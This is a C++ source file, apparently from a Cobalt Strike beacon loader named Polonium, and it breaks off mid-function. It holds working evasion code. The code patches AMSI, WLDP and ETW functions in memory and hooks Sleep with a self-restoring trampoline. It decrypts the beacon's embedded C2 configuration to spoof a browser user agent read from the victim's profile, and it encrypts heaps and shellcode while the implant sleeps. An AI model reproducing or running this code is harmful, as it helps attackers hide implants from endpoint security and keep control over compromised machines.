﻿
#include "../Utils.h"
#include "BeaconOps.h"

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <amsi.h>
#include <intrin.h>

#pragma intrinsic( _ReturnAddress )

std::map<uint32_t, std::vector<uint8_t>> BeaconOps::CSConfigStartPattern = {
    { 3, {0x69, 0x68, 0x69, 0x68, 0x69, 0x6b} },
    { 4, {0x2e, 0x2f, 0x2e, 0x2f, 0x2e, 0x2c} },
};

std::vector<uint8_t> BeaconOps::CSConfigPatternDecoded = {
    0x00, 0x01, 0x00, 0x01, 0x00, 0x02
};

std::map<uint32_t, uint32_t> BeaconOps::CSConfigDecodeKeys = {
    { 3, 0x69 },
    { 4, 0x2e},
};

/*
* https://source.chromium.org/chromium/chromium/src/+/master:content/common/user_agent.cc;l=336
* Chromium source: content/common/user_agent.cc:
    std::string BuildUserAgentFromOSAndProduct(const std::string& os_info,
                                               const std::string& product) {
      // Derived from Safari's UA string.
      // This is done to expose our product name in a manner that is maximally
      // compatible with Safari, we hope!!
      std::string user_agent;
      base::StringAppendF(&user_agent,
                          "Mozilla/5.0 (%s) AppleWebKit/537.36 (KHTML, like Gecko) "
                          "%s Safari/537.36",
                          os_info.c_str(), product.c_str());
      return user_agent;
    }
*/
std::string BeaconOps::GoogleChromeUserAgentTemplate =
OBFI_ASCII("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36");

std::string BeaconOps::MSEdgeUserAgentTemplate =
OBFI_ASCII("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36 Edg/%s");

BeaconOps::EncryptHeapsMetadata BeaconOps::g_heapsEncryptionMetadata = { 0 };
BeaconOps::ShellcodeFluctuationMetadata BeaconOps::g_shellcodeFluctuation;
BeaconOps::EvasionPatches BeaconOps::g_evasionPatches;

static TrampolineData g_sleepTrampoline = { 0 };

bool BeaconOps::m_hideBeaconDuringSleep = false;
bool BeaconOps::g_sleepHooked = false;
bool BeaconOps::g_spoofCallStack = false;


BeaconOps::BeaconOps()
    : shellcodeProcessed(false),
    heapsEncrypting(false),
    m_unhookModules(false)
{
    initValidCSConfigs();

    std::random_device dev;
    std::mt19937 rng(dev());
    std::uniform_int_distribution<std::mt19937::result_type> dist4GB(0, 0xffffffff);

    g_heapsEncryptionMetadata.encodeKey = dist4GB(rng);
    g_shellcodeFluctuation.encodeKey = dist4GB(rng);

    g_evasionPatches.currentlyHooked = g_evasionPatches.initialized
        = g_shellcodeFluctuation.currentlyEncrypted = g_heapsEncryptionMetadata.heapEncrypted = false;
}

void BeaconOps::initEvasionPatches()
{
    EXPORTED_FUNCTION amsiFunc;
    EXPORTED_FUNCTION wldpFunc;
    EXPORTED_FUNCTION etwEventWrite;

    auto hWldp = LoadLibraryA(OBFI_ASCII("wldp.dll"));
    auto hAmsi = LoadLibraryA(OBFI_ASCII("amsi.dll"));

    PE amsi;
    if (!amsi.AnalyseProcessModule(0, hAmsi, true, true))
        return;

    if (!amsi.getExport(OBFI_ASCII("AmsiScanBuffer"), &amsiFunc))
        return;

    amsi.close();

    PE wldp;
    if (!wldp.AnalyseProcessModule(0, hWldp, true, true))
        return;

    if (!wldp.getExport(OBFI_ASCII("WldpQueryDynamicCodeTrust"), &wldpFunc))
        return;

    wldp.close();

    PE ntdll;
    auto hNtdll = GetModuleHandleA("ntdll.dll");
    if (!ntdll.AnalyseProcessModule(0, hNtdll, true, true))
        return;

    if (!ntdll.getExport(OBFI_ASCII("EtwEventWrite"), &etwEventWrite))
        return;

    ntdll.close();

    g_evasionPatches.pAmsiScanBuffer = (LPVOID)(amsiFunc.dwPtrValueRVA + (ULONG_PTR)hAmsi);
    g_evasionPatches.pWldpQueryDynamicCodeTrust = (LPVOID)(wldpFunc.dwPtrValueRVA + (ULONG_PTR)hWldp);
    g_evasionPatches.pEtwEventWrite = (LPVOID)(etwEventWrite.dwPtrValueRVA + (ULONG_PTR)hNtdll);

    char etwEventPatch[ETW_PATCH_SIZE + 1] = ETW_PATCH_BYTES;
    char amsiPatch[sizeof(_HAMSICONTEXT::Signature)] = { 0 };

    for (size_t i = 0; i < 0x200; i++)
    {
        ULONG_PTR ptr = ((ULONG_PTR)g_evasionPatches.pAmsiScanBuffer + i);
        _PHAMSICONTEXT ctx = (_PHAMSICONTEXT)ptr;

        if (ctx->Signature == 0x49534D41)
        {
            g_evasionPatches.pAmsiScanBuffer = (LPVOID)ptr;

            DWORD sign = ctx->Signature;
            sign++;
            memcpy(amsiPatch, &sign, sizeof(sign));
            break;
        }
    }

    g_evasionPatches.hookBytesEtwEventWrite.resize(ETW_PATCH_SIZE, 0);
    g_evasionPatches.hookBytesWldpQueryDynamicCodeTrust.resize(ETW_PATCH_SIZE, 0);
    g_evasionPatches.hookBytesAmsiScanBuffer.resize(sizeof(amsiPatch), 0);

    memcpy(g_evasionPatches.hookBytesEtwEventWrite.data(), etwEventPatch, ETW_PATCH_SIZE);
    memcpy(g_evasionPatches.hookBytesWldpQueryDynamicCodeTrust.data(), etwEventPatch, ETW_PATCH_SIZE);
    memcpy(g_evasionPatches.hookBytesAmsiScanBuffer.data(), amsiPatch, sizeof(amsiPatch));

    g_evasionPatches.origBytesEtwEventWrite.resize(g_evasionPatches.hookBytesEtwEventWrite.size(), 0);
    g_evasionPatches.origBytesWldpQueryDynamicCodeTrust.resize(g_evasionPatches.hookBytesWldpQueryDynamicCodeTrust.size(), 0);
    g_evasionPatches.origBytesAmsiScanBuffer.resize(g_evasionPatches.hookBytesAmsiScanBuffer.size(), 0);

    memcpy(g_evasionPatches.origBytesEtwEventWrite.data(), g_evasionPatches.pEtwEventWrite, g_evasionPatches.origBytesEtwEventWrite.size());
    memcpy(g_evasionPatches.origBytesWldpQueryDynamicCodeTrust.data(), g_evasionPatches.pWldpQueryDynamicCodeTrust, g_evasionPatches.hookBytesWldpQueryDynamicCodeTrust.size());
    memcpy(g_evasionPatches.origBytesAmsiScanBuffer.data(), g_evasionPatches.pAmsiScanBuffer, g_evasionPatches.origBytesAmsiScanBuffer.size());

    g_evasionPatches.initialized = hookSleep();
}

void BeaconOps::initValidCSConfigs()
{
    ValidCSConfigsType validConfigs =
    {
        { OBFI_ASCII("BeaconType"), { 1, CSConfigFieldType::TYPE_SHORT, 0 /* mask=self.BEACON_TYPE */} },
        { OBFI_ASCII("Port"), { 2, CSConfigFieldType::TYPE_SHORT, 0} },
        { OBFI_ASCII("SleepTime"), { 3, CSConfigFieldType::TYPE_INT, 0} },
        { OBFI_ASCII("MaxGetSize"), { 4, CSConfigFieldType::TYPE_INT, 0} },
        { OBFI_ASCII("Jitter"), { 5, CSConfigFieldType::TYPE_SHORT, 0} },
        { OBFI_ASCII("MaxDNS"), { 6, CSConfigFieldType::TYPE_SHORT, 0} },
        { OBFI_ASCII("PublicKey"), { 7, CSConfigFieldType::TYPE_STR, 256 /* isBlob=True */} },
        /*  { OBFI_ASCII("PublicKey_MD5"), { 7, CSConfigFieldType::TYPE_STR, 256 } }, */
        { OBFI_ASCII("C2Server"), { 8, CSConfigFieldType::TYPE_STR, 256 } },
        { OBFI_ASCII("UserAgent"), { 9, CSConfigFieldType::TYPE_STR, 128} },
        { OBFI_ASCII("HttpPostUri"), { 10, CSConfigFieldType::TYPE_STR, 64} },
        { OBFI_ASCII("Malleable_C2_Instructions"), { 11, CSConfigFieldType::TYPE_STR, 256 /* isBlob=True,isMalleableStream=True */} },
        { OBFI_ASCII("HttpGet_Metadata"), { 12, CSConfigFieldType::TYPE_STR, 256 /* isHeaders=True */} },
        { OBFI_ASCII("HttpPost_Metadata"), { 13, CSConfigFieldType::TYPE_STR, 256 /* isHeaders=True */} },
        { OBFI_ASCII("SpawnTo"), { 14, CSConfigFieldType::TYPE_STR, 16 /* isBlob=True */} },
        { OBFI_ASCII("PipeName"), { 15, CSConfigFieldType::TYPE_STR, 128} },
        { OBFI_ASCII("DNS_Idle"), { 19, CSConfigFieldType::TYPE_INT, 0 /* isIpAddress=True */} },
        { OBFI_ASCII("DNS_Sleep"), { 20, CSConfigFieldType::TYPE_INT, 0} },
        { OBFI_ASCII("SSH_Host"), { 21, CSConfigFieldType::TYPE_STR, 256} },
        { OBFI_ASCII("SSH_Port"), { 22, CSConfigFieldType::TYPE_SHORT, 0} },
        { OBFI_ASCII("SSH_Username"), { 23, CSConfigFieldType::TYPE_STR, 128} },
        { OBFI_ASCII("SSH_Password_Plaintext"), { 24, CSConfigFieldType::TYPE_STR, 128} },
        { OBFI_ASCII("SSH_Password_Pubkey"), { 25, CSConfigFieldType::TYPE_STR, 6144} },
        { OBFI_ASCII("HttpGet_Verb"), { 26, CSConfigFieldType::TYPE_STR, 16} },
        { OBFI_ASCII("HttpPost_Verb"), { 27, CSConfigFieldType::TYPE_STR, 16} },
        { OBFI_ASCII("HttpPostChunk"), { 28, CSConfigFieldType::TYPE_INT, 0} },
        { OBFI_ASCII("Spawnto_x86"), { 29, CSConfigFieldType::TYPE_STR, 64} },
        { OBFI_ASCII("Spawnto_x64"), { 30, CSConfigFieldType::TYPE_STR, 64} },
        { OBFI_ASCII("CryptoScheme"), { 31, CSConfigFieldType::TYPE_SHORT, 0} },
        { OBFI_ASCII("Proxy_Config"), { 32, CSConfigFieldType::TYPE_STR, 128} },
        { OBFI_ASCII("Proxy_User"), { 33, CSConfigFieldType::TYPE_STR, 64} },
        { OBFI_ASCII("Proxy_Password"), { 34, CSConfigFieldType::TYPE_STR, 64} },
        { OBFI_ASCII("Proxy_Behavior"), { 35, CSConfigFieldType::TYPE_SHORT, 0 /* enum=self.ACCESS_TYPE */} },
        { OBFI_ASCII("Watermark"), { 37, CSConfigFieldType::TYPE_INT, 0} },
        { OBFI_ASCII("bStageCleanup"), { 38, CSConfigFieldType::TYPE_SHORT, 0 /* isBool=True */ } },
        { OBFI_ASCII("bCFGCaution"), { 39, CSConfigFieldType::TYPE_SHORT, 0 /* isBool=True */ } },
        { OBFI_ASCII("KillDate"), { 40, CSConfigFieldType::TYPE_INT, 0 /* isDate=True */} },
        { OBFI_ASCII("textSectionEnd (0 if !sleep_mask)"), { 41, CSConfigFieldType::TYPE_INT, 0} },
        { OBFI_ASCII("ObfuscateSectionsInfo"), { 42, CSConfigFieldType::TYPE_STR, 0 /* %d, isBlob=True */} },
        { OBFI_ASCII("bProcInject_StartRWX"), { 43, CSConfigFieldType::TYPE_SHORT, 0 /* isBool=True, boolFalseValue=4 */} },
        { OBFI_ASCII("bProcInject_UseRWX"), { 44, CSConfigFieldType::TYPE_SHORT, 0 /* isBool=True, boolFalseValue=32 */} },
        { OBFI_ASCII("bProcInject_MinAllocSize"), { 45, CSConfigFieldType::TYPE_INT, 0} },
        { OBFI_ASCII("ProcInject_PrependAppend_x86"), { 46, CSConfigFieldType::TYPE_STR, 256 /* isBlob=True, isProcInjectTransform=True */} },
        { OBFI_ASCII("ProcInject_PrependAppend_x64"), { 47, CSConfigFieldType::TYPE_STR, 256 /* isBlob=True, isProcInjectTransform=True */} },
        { OBFI_ASCII("bUsesCookies"), { 50, CSConfigFieldType::TYPE_SHORT, 0 /* isBool=True */} },
        { OBFI_ASCII("ProcInject_Execute"), { 51, CSConfigFieldType::TYPE_STR, 128 /* isBlob=True, enum=self.EXECUTE_TYPE */} },
        { OBFI_ASCII("ProcInject_AllocationMethod"), { 52, CSConfigFieldType::TYPE_SHORT, 0 /* enum=self.ALLOCATION_FUNCTIONS */} },
        { OBFI_ASCII("ProcInject_Stub"), { 53, CSConfigFieldType::TYPE_STR, 16 /* isBlob=True */} },
        { OBFI_ASCII("HostHeader"), { 54, CSConfigFieldType::TYPE_STR, 128} },
        { OBFI_ASCII("SSH_Banner"), { 54, CSConfigFieldType::TYPE_STR, 128} },
        { OBFI_ASCII("smbFrameHeader"), { 57, CSConfigFieldType::TYPE_STR, 128 /* isBlob=True */} },
        { OBFI_ASCII("tcpFrameHeader"), { 58, CSConfigFieldType::TYPE_STR, 128 /* isBlob=True */} },
        { OBFI_ASCII("headersToRemove"), { 59, CSConfigFieldType::TYPE_STR, 64} },
        { OBFI_ASCII("DNS_Beaconing"), { 60, CSConfigFieldType::TYPE_STR, 33} },
        { OBFI_ASCII("DNS_get_TypeA"), { 61, CSConfigFieldType::TYPE_STR, 33} },
        { OBFI_ASCII("DNS_get_TypeAAAA"), { 62, CSConfigFieldType::TYPE_STR, 33} },
        { OBFI_ASCII("DNS_get_TypeTXT"), { 63, CSConfigFieldType::TYPE_STR, 33} },
        { OBFI_ASCII("DNS_put_metadata"), { 64, CSConfigFieldType::TYPE_STR, 33} },
        { OBFI_ASCII("DNS_put_output"), { 65, CSConfigFieldType::TYPE_STR, 33} },
        { OBFI_ASCII("DNS_resolver"), { 66, CSConfigFieldType::TYPE_STR, 15} },
        { OBFI_ASCII("DNS_strategy"), { 67, CSConfigFieldType::TYPE_SHORT, 0 /* enum=self.ROTATE_STRATEGY */} },
        { OBFI_ASCII("DNS_strategy_rotate_seconds"), { 68, CSConfigFieldType::TYPE_INT, 0} },
        { OBFI_ASCII("DNS_strategy_fail_x"), { 69, CSConfigFieldType::TYPE_INT, 0} },
        { OBFI_ASCII("DNS_strategy_fail_seconds"), { 70, CSConfigFieldType::TYPE_INT, 0} },
        { OBFI_ASCII("Retry_Max_Attempts"), { 71, CSConfigFieldType::TYPE_INT, 0} },
        { OBFI_ASCII("Retry_Increase_Attempts"), { 72, CSConfigFieldType::TYPE_INT, 0} },
        { OBFI_ASCII("Retry_Duration"), { 73, CSConfigFieldType::TYPE_INT, 0} },
    };

    m_validCSConfigs = std::move(validConfigs);
}

bool BeaconOps::processShellcode(char* shellcode, size_t shellcodeSize)
{
    if (shellcodeProcessed) return true;
    if (shellcodeSize < CSConfigSize) return false;

    uint32_t cobaltVersion = 0;
    size_t configPos = 0;

    for (auto const& x : CSConfigStartPattern)
    {
        for (size_t i = 0; i < shellcodeSize - CSConfigSize; i++)
        {
            if (!memcmp(&shellcode[i], x.second.data(), x.second.size()))
            {
                cobaltVersion = x.first;
                configPos = i;
                break;
            }
        }

        if (configPos != 0) break;
    }

    if (configPos == 0) return false;

    // Step 1: Decrypt configuration in memory.
    for (size_t i = configPos; i < configPos + CSConfigSize; i++)
    {
        shellcode[i] ^= CSConfigDecodeKeys[cobaltVersion];
    }

    size_t pos = configPos;
    CSConfigField* field = nullptr;

    size_t fieldsToProcess = 1;
    uint16_t userAgentID = std::get<0>(m_validCSConfigs[OBFI_ASCII("UserAgent")]);

    while (pos < (configPos + CSConfigSize))
    {
        field = reinterpret_cast<CSConfigField*>(&shellcode[pos]);

        if (SWAP_UINT16(field->ID) == 0) break;

        if (SWAP_UINT16(field->ID) == userAgentID)
        {
            changeUserAgent(
                reinterpret_cast<char*>(field->value.data),
                SWAP_UINT16(field->dataLength)
            );

            fieldsToProcess--;
        }

        if (fieldsToProcess <= 0) break;

        pos += 6 + SWAP_UINT16(field->dataLength);
    }

    // Step 9: Encrypt configuration in memory.
    for (size_t i = configPos; i < configPos + CSConfigSize; i++)
    {
        shellcode[i] ^= CSConfigDecodeKeys[cobaltVersion];
    }

    shellcodeProcessed = true;
    return true;
}

DWORD WINAPI sleepHookWatchdog(LPVOID lpParameter)
{
    while (BeaconOps::g_sleepHooked)
    {
        if (g_sleepTrampoline.currentlyHooked)
        {
            if (!memcmp(::Sleep, g_sleepTrampoline.originalBytes, g_sleepTrampoline.originalBytesSize))
            {
                info(OBF(L"[-] Our MySleep hook got unhooked. However watchdog thread restored it."));
                FastTrampoline(true, (BYTE*)::Sleep, &BeaconOps::MySleep, &g_sleepTrampoline);
            }
        }

        ::SleepEx(1000, true);
    }

    return 1;
}

bool BeaconOps::fluctuateShellcode(DWORD expectedMemoryPage)
{
    BeaconOps::m_hideBeaconDuringSleep = true;
    g_shellcodeFluctuation.expectedProtect = expectedMemoryPage;

    DWORD tid;
    HANDLE out = ::CreateThread(
        NULL,
        0,
        sleepHookWatchdog,
        0,
        0,
        &tid
    );

    if (!out)
    {
        info(OBF(L"[!] fluctuateShellcode: could not create Sleep hook watchdog!"));
    }

    return out && hookSleep();
}

bool BeaconOps::encryptHeaps(DWORD beaconTid)
{
    if (heapsEncrypting) return true;

#ifdef _DEBUG
#pragma message(".")
#pragma message("================================================================")
#pragma message("|")
#pragma message("|   WARNING!")
#pragma message("|")
#pragma message("|   Polonium will terminate itself while under debugger when heaps encryption is enabled.")
#pragma message("|   Either comment away heaps encryption (BeaconOps::encryptHeaps) or run polon.exe outside of debugger.")
#pragma message("|")
#pragma message("================================================================")
#pragma message(".")
#endif

    g_heapsEncryptionMetadata.beaconTid = beaconTid;

    if (!hookSleep())
        return false;

    g_heapsEncryptionMetadata.heapEncrypted = false;

    heapsEncrypting = true;
    return true;
}

std::vector<MEMORY_BASIC_INFORMATION> BeaconOps::collectMemoryMap(HANDLE hProcess, DWORD Type)
{
    std::vector<MEMORY_BASIC_INFORMATION> out;
    const size_t MaxSize = (sizeof(ULONG_PTR) == 4) ? ((1ULL << 31) - 1) : ((1ULL << 63) - 1);

    uint8_t* address = 0;
    while (reinterpret_cast<size_t>(address) < MaxSize)
    {
        MEMORY_BASIC_INFORMATION mbi = { 0 };

        RESOLVE(kernel32, VirtualQueryEx);
        if (!_VirtualQueryEx(hProcess, address, &mbi, sizeof(mbi)))
        {
            break;
        }

        if ((mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE_READ || mbi.Protect == PAGE_READWRITE)
            && ((mbi.Type & Type) != 0))
        {
            out.push_back(mbi);
        }

        address += mbi.RegionSize;
    }

    return out;
}

bool BeaconOps::hookSleep()
{
    if (BeaconOps::g_sleepHooked)
    {
        info(OBF(L"[>] hookSleep: already hooked."));
        return true;
    }

    g_sleepTrampoline.originalBytesSize = sizeof(g_sleepTrampoline.originalBytes);
    memset(g_sleepTrampoline.originalBytes, 0, g_sleepTrampoline.originalBytesSize);

    if (!FastTrampoline(true, (BYTE*)::Sleep, &BeaconOps::MySleep, &g_sleepTrampoline))
        return false;

    BeaconOps::g_sleepHooked = true;
    info(OBF(L"[>] hookSleep: hooked."));
    return true;
}

void BeaconOps::changeUserAgent(char* buffer, size_t bufferSize)
{
    std::string defaultUserAgent(buffer);
    std::string newUserAgent = findBestUserAgent(defaultUserAgent, bufferSize);

    memset(buffer, 0, bufferSize);
    size_t bytes = min(newUserAgent.size(), bufferSize - 1);

    memcpy(buffer, newUserAgent.c_str(), bytes);
}

std::string BeaconOps::findBestUserAgent(std::string defaultUserAgent, size_t maxSize)
{
    std::string outUserAgent;
    outUserAgent.resize(maxSize, 0);

    //
    // Step 1: Attempt to obtain User Agent of chromium-based browsers.
    //

    std::wstring userProfile;
    userProfile.resize(256, 0);

    auto n = GetEnvironmentVariableW(OBFI(L"UserProfile"), userProfile.data(), (DWORD)userProfile.size());
    userProfile.resize(n);

    std::vector<std::wstring> chromePaths = {
        OBFI(L"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences"),
        OBFI(L"\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Preferences"),
        OBFI(L"\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Preferences"),
        OBFI(L"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Preferences"),
    };

    std::vector<std::string> versions = {
        OBFI_ASCII("last_chrome_version"),
        OBFI_ASCII("last_opera_version")
    };

    for (const auto& p : chromePaths)
    {
        std::wstring path = userProfile + std::wstring(L"\\") + p;

        DWORD attrib = GetFileAttributesW(path.c_str());

        if (attrib != INVALID_FILE_ATTRIBUTES &&
            !(attrib & FILE_ATTRIBUTE_DIRECTORY))
        {
            HANDLE hFile = CreateFileW(
                path.c_str(),
                GENERIC_READ,
                FILE_SHARE_READ | FILE_SHARE_WRITE,
                NULL,
                OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                NULL);

            if (hFile != INVALID_HANDLE_VALUE)
            {
                DWORD read = 0;
                DWORD fileSizeHigh;
                DWORD fileSize = GetFileSize(hFile, &fileSizeHigh);

                if (fileSize < 32 * 1024 * 1024)
                {
                    std::string buffer;
                    buffer.resize(fileSize, 0);

                    if (ReadFile(hFile, buffer.data(), (DWORD)buffer.size(), &read, NULL))
                    {
                        buffer.resize(read);

                        for (const auto& ver : versions)
                        {
                            auto pos = buffer.find(ver);

                            if (pos != std::string::npos)
                            {
                                pos += strlen(ver.c_str()) + 3;
                                size_t pos2 = buffer.find("\",\"", pos);

                                if (pos2 != std::string::npos)
                                {
                                    std::string tmp;
                                    tmp.resize(pos2 - pos + 1, 0);
                                    memcpy(tmp.data(), &buffer[pos], (pos2 - pos));
                                    tmp.resize(strlen(tmp.data()));

                                    if (p.find(OBFI(L"Edge")) != std::wstring::npos)
                                    {
                                        outUserAgent = getMicrosoftEdgeUserAgent(tmp);

                                        if (strlen(outUserAgent.c_str()) > 0)
                                        {
                                            CloseHandle(hFile);
                                            return outUserAgent;
                                        }
                                        else
                                        {
                                            // could not acquire Edge's path.
                                            break;
                                        }
                                    }

                                    if (validateVersionString(tmp))
                                    {
                                        snprintf(
                                            outUserAgent.data(),
                                            outUserAgent.size(),
                                            GoogleChromeUserAgentTemplate.c_str(),
                                            tmp.data()
                                        );

                                        CloseHandle(hFile);
                                        return outUserAgent;
                                    }
                                }
                            }
                        }
                    }
                }

                CloseHandle(hFile);
            }
        }
    }

    std::vector<std::wstring> chromePaths2 = {
        OBFI(L"\\AppData\\Local\\Google\\Chrome\\User Data\\Last Version"),
        OBFI(L"\\AppData\\Local\\Microsoft\\Edge\\User Data\\Last Version"),
        OBFI(L"\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Last Version")
    };

    for (const auto& p : chromePaths2)
    {
        std::wstring path = userProfile + std::wstring(L"\\") + p;
        DWORD attrib = GetFileAttributesW(path.c_str());

        if (attrib != INVALID_FILE_ATTRIBUTES &&
            !(attrib & FILE_ATTRIBUTE_DIRECTORY))
        {
            HANDLE hFile = CreateFileW(
                path.c_str(),
                GENERIC_READ,
                FILE_SHARE_READ | FILE_SHARE_WRITE,
                NULL,
                OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                NULL);

            if (hFile != INVALID_HANDLE_VALUE)
            {
                std::string buffer;
                DWORD read = 0;
                buffer.resize(32, 0);

                if (ReadFile(hFile, buffer.data(), (DWORD)buffer.size(), &read, NULL))
                {
                    buffer.resize(read);

                    if (validateVersionString(buffer))
                    {
                        snprintf(
                            outUserAgent.data(),
                            outUserAgent.size(),
                            GoogleChromeUserAgentTemplate.c_str(),
                            buffer.data()
                        );

                        CloseHandle(hFile);
                        return outUserAgent;
                    }
                }

                CloseHandle(hFile);
            }
        }
    }

    //
    // Step 2: Fallback to Internet Explorer user agent.
    //

    char userAgentString[256] = { 0 };
    std::wstring userAgent;
    DWORD size = sizeof(userAgentString) - 1;

    RESOLVE(urlmon, ObtainUserAgentString);
    if (NOERROR == _ObtainUserAgentString(0, userAgentString, &size))
    {
        if (strlen(userAgentString) > 0) {
            outUserAgent = std::string(userAgentString);
            return outUserAgent;
        }
    }

    return defaultUserAgent;
}

bool BeaconOps::validateVersionString(std::string buffer)
{
    bool looksGood = true;
    for (const auto& chr : buffer)
    {
        if (!(chr == '.' || (chr >= '0' && chr <= '9')))
        {
            return false;
        }
    }

    return true;
}

std::string BeaconOps::getMicrosoftEdgeUserAgent(const std::string& lastVersion)
{
    std::string output;

    const std::wstring lastVersionW(lastVersion.begin(), lastVersion.end());
    std::wstring msedgeDllPath;
    msedgeDllPath.resize(256, 0);

    auto n = GetEnvironmentVariableW(OBFI(L"ProgramFiles(x86)"), msedgeDllPath.data(), (DWORD)msedgeDllPath.size());
    if (n == 0)
    {
        n = GetEnvironmentVariableW(OBFI(L"ProgramFiles"), msedgeDllPath.data(), (DWORD)msedgeDllPath.size());
    }

    msedgeDllPath.resize(n);
    msedgeDllPath += OBFI(L"\\Microsoft\\Edge\\Application\\") + lastVersionW + OBFI(L"\\msedge.dll");

    PE msedgeDll;
    if (msedgeDll.AnalyseFile(msedgeDllPath, true))
    {
        size_t sectNum = 0;
        bool found = false;

        for (sectNum = 0; sectNum < msedgeDll.GetSectionsCount(); sectNum++)
        {
            const auto& sect = msedgeDll.vSections[sectNum];
            if (!memcmp(sect.szSectionName, ".rdata", 6))
            {
                found = true;
                break;
            }
        }

        if (found)
        {
            const auto& sect = msedgeDll.GetSection(sectNum);
            /*
            * msedge.dll contains references to both Edge and Chromium versions hardcoded in its .rdata section,
            * right after string "allow-running-insecure-content". These constitute child process parameters array
            * to be used while running child sandboxed processes.
            *
            * c:\Program Files (x86)\Microsoft\Edge\Application\93.0.961.52\msedge.dll:
            *
                .rdata:00000001894531E0 aBlockNewWebCon db 'block-new-web-contents',0
                .rdata:00000001894531E0                                         ; DATA XREF: sub_1854116B5:loc_185412287↑o
                .rdata:00000001894531F7                 db    0
                .rdata:00000001894531F8                 db    0
                .rdata:00000001894531F9                 db    0
                .rdata:00000001894531FA                 db    0
                .rdata:00000001894531FB                 db    0
                .rdata:00000001894531FC                 db    0
                .rdata:00000001894531FD                 db    0
                .rdata:00000001894531FE                 db    0
                .rdata:00000001894531FF                 db    0
                .rdata:0000000189453200 aAllowRunningIn db 'allow-running-insecure-content',0
                .rdata:0000000189453200                                         ; DATA XREF: sub_1854116B5+9B1o
                .rdata:000000018945321F a93096152_0     db '93.0.961.52',0      ; DATA XREF: sub_180885E22+FFr
                .rdata:000000018945321F                                         ; sub_180B9F130+FFo ...
                .rdata:000000018945322B a930457782      db '93.0.4577.82',0     ; DATA XREF: sub_182F11C4B+21r
                .rdata:000000018945322B                                         ; sub_184A43816+1A6o ...
                .rdata:0000000189453238 aAccessibilityD db 'Accessibility.disable',0
                .rdata:0000000189453238                                         ; DATA XREF: sub_18504EBD0+6Bo
                .rdata:000000018945324E aAccessibilityE_0 db 'Accessibility.enable',0
                .rdata:000000018945324E                                         ; DATA XREF: sub_18504ECD0+6Bo
                .rdata:0000000189453263 aAccessibilityG db 'Accessibility.getPartialAXTree',0
            */

            auto rdataBytes = msedgeDll.ReadSection(sect);
            const std::string pattern = OBFI_ASCII("allow-running-insecure-content");
            size_t patternPos = 0;

            for (size_t i = 0; i < rdataBytes.size() - (pattern.size() + 100); i++)
            {
                if (!memcmp(&rdataBytes[i], pattern.data(), pattern.size()))
                {
                    patternPos = i;
                    break;
                }
            }

            if (patternPos > 0)
            {
                patternPos += pattern.size() + 1;

                if (patternPos < rdataBytes.size())
                {
                    char edgeVersion[64] = { 0 };
                    strcpy_s(edgeVersion, reinterpret_cast<char*>(&rdataBytes[patternPos]));
                    patternPos += strlen(edgeVersion) + 1;

                    if (validateVersionString(edgeVersion))
                    {
                        if (!strcmp(edgeVersion, lastVersion.c_str()) && patternPos < rdataBytes.size())
                        {
                            char chromeVersion[64] = { 0 };
                            strcpy_s(chromeVersion, reinterpret_cast<char*>(&rdataBytes[patternPos]));

                            rdataBytes.clear();

                            if (strlen(chromeVersion) > 0)
                            {
                                if (validateVersionString(chromeVersion))
                                {
                                    output.resize(512, 0);
                                    snprintf(
                                        output.data(),
                                        output.size(),
                                        MSEdgeUserAgentTemplate.c_str(),
                                        chromeVersion,
                                        lastVersion.data()
                                    );
                                }
                            }
                        }
                    }
                }
            }
        }

        msedgeDll.close();
    }

    return output;
}

bool FastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, TrampolineData* buffers /*= NULL*/)
{
#ifdef _WIN64
    uint8_t trampoline[] = {
        0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
        0x41, 0xFF, 0xE2                                            // jmp r10
    };

    uint64_t addr = (uint64_t)(jumpAddress);
    memcpy(&trampoline[2], &addr, sizeof(addr));
#else
    uint8_t trampoline[] = {
        0xB8, 0x00, 0x00, 0x00, 0x00,     // mov eax, addr
        0xFF, 0xE0                        // jmp eax
    };

    uint32_t addr = (uint32_t)(jumpAddress);
    memcpy(&trampoline[1], &addr, sizeof(addr));
#endif

    DWORD dwSize = sizeof(trampoline);
    DWORD oldProt = 0;
    bool output = false;

    if (installHook)
    {
        if (buffers == NULL)
            return false;

        if (buffers->originalBytes == nullptr || buffers->originalBytesSize == 0)
            return false;

        memcpy(buffers->originalBytes, addressToHook, buffers->originalBytesSize);

        if (::VirtualProtect(
            addressToHook, 
            dwSize, 
            PAGE_EXECUTE_READWRITE, 
            &oldProt
        ))
        {
            memcpy(addressToHook, trampoline, dwSize);
            output = true;
            buffers->currentlyHooked = true;
        }
    }
    else
    {
        if (buffers == NULL)
            return false;

        if (buffers->originalBytes == nullptr || buffers->originalBytesSize == 0)
            return false;

        dwSize = buffers->originalBytesSize;

        if (::VirtualProtect(
            addressToHook, 
            dwSize, 
            PAGE_EXECUTE_READWRITE, 
            &oldProt
        ))
        {
            memcpy(addressToHook, buffers->originalBytes, dwSize);
            output = true;
            buffers->currentlyHooked = false;
        }
    }

    static typeNtFlushInstructionCache pNtFlushInstructionCache = NULL;
    if (!pNtFlushInstructionCache)
        pNtFlushInstructionCache = (typeNtFlushInstructionCache)
        GetProcAddress(GetModuleHandleA("ntdll"), "NtFlushInstructionCache");

    //
    // We're flushing instructions cache just in case our hook didn't kick in immediately.
    //
    if (pNtFlushInstructionCache)
        pNtFlushInstructionCache(GetCurrentProcess(), addressToHook, dwSize);

    ::VirtualProtect(
        addressToHook,
        dwSize,
        oldProt,
        &oldProt
    );

    return output;
}

void BeaconOps::xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey)
{
    uint32_t* buf32 = reinterpret_cast<uint32_t*>(buf);

